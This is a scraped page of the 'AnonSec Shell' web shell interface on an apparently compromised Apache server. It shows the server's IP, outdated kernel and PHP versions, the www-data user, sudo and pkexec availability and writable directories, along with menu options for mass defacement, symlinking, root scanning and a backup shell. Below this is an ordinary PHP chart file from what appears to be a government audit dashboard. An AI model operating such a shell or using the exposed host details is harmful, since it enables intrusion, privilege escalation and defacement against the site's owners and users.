AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.72   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/html/apitce/dev/form/inicio/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /var/www/html/apitce/dev/form/inicio/main2.php
<?php
/**
 * Created by PhpStorm.
 * User: wesley
 * Date: 17/06/2016
 * Time: 15:39
 */

$notas_pagamentos = new notas_pagamentos();
$analises = new analises();
$empenhos = new notas_empenhos();
$liquidacoes = new liquidacoes();

$orgaos = new orgaos();
$result = $orgaos->ObterPorTodos();
$elemento[] = 0;
$rgular_tat[] = 0;
$porcento_regular[] = 0;
$porcento_n_regular[] = 0;
$porcento_feito[$i] = 0;
$i2 = 0;
?>
<script src="./Styles/Chart/Chart.js"></script>
<div class="panel panel-success">
    <!-- Default panel contents -->
    <div class="panel-heading text-center"><b>GRAFICOS</b></div>
    <div class="panel-body">
        <?
        foreach ($result as $row) {
            $cod_orgao = $row->getCodigo_orgao();
            $n_pagamentos = new notas_pagamentos();
            $res = $liquidacoes->ObterPorOrgaoElemento($cod_orgao);
            $form_elemento = new formate_elemento();
            $analises = new analises();
            $i = 0;
            foreach ($res as $r) {
                $notas = $n_pagamentos->ObterPorOrgaoElemento($cod_orgao, $r->getEstado_folha());
               // $qtd_ele_pag = $notas->getCodigo_unidade();
                $elemento[$i] = $form_elemento->f_elemento($r->getEstado_folha());
                $regular_on = $analises->ObterPorOrgaoContEle($cod_orgao, $r->getEstado_folha(), '1')->getCod_analise();
                $regular_off = $analises->ObterPorOrgaoContEle($cod_orgao, $r->getEstado_folha(), '0')->getCod_analise();
                $rgular_tat[$i] = $regular_on + $regular_off;
                $porcento_regular[$i] = $regular_on;
                $porcento_n_regular[$i] = $regular_off;
                $i++;
            }
            if ($res) {
                ?>
                <canvas id="myChart<?= $i2 ?>" style="width: 100%; height: 400px;"></canvas>
                <script>
                    var ctx = document.getElementById("myChart<?= $i2?>").getContext('2d');
                    var myChart = new Chart(ctx, {
                        type: 'bar',
                        data: {
                            labels: [<?php for ($r = 0; $r < $i; $r++) {
                                echo "\"" . $elemento[$r] . " | \", ";
                            } ?>],
                            datasets: [{
                                label: 'Regular',
                                data: [<? for ($r = 0; $r < $i; $r++) {
                                    echo $porcento_regular[$r] . ", ";
                                } ?>],
                                backgroundColor: "rgba(233, 240, 216 ,1)"
                            }, {
                                label: 'Irregular',
                                data: [<? for ($r = 0; $r < $i; $r++) {
                                    echo $porcento_n_regular[$r] . ", ";
                                } ?>],
                                backgroundColor: "rgba(235, 204, 204,1)"
                            }]
                        },
                        options: {
                            title: {
                                display: true,
                                text: '<?= strtoupper($orgaos->ObterPorPK($cod_orgao)->getNome_orgao())?>'
                            }
                        }
                    });
                </script>
            <?
            }
            $i2++;

        } ?>
    </div>
</div>

Anon7 - 2022
AnonSec Team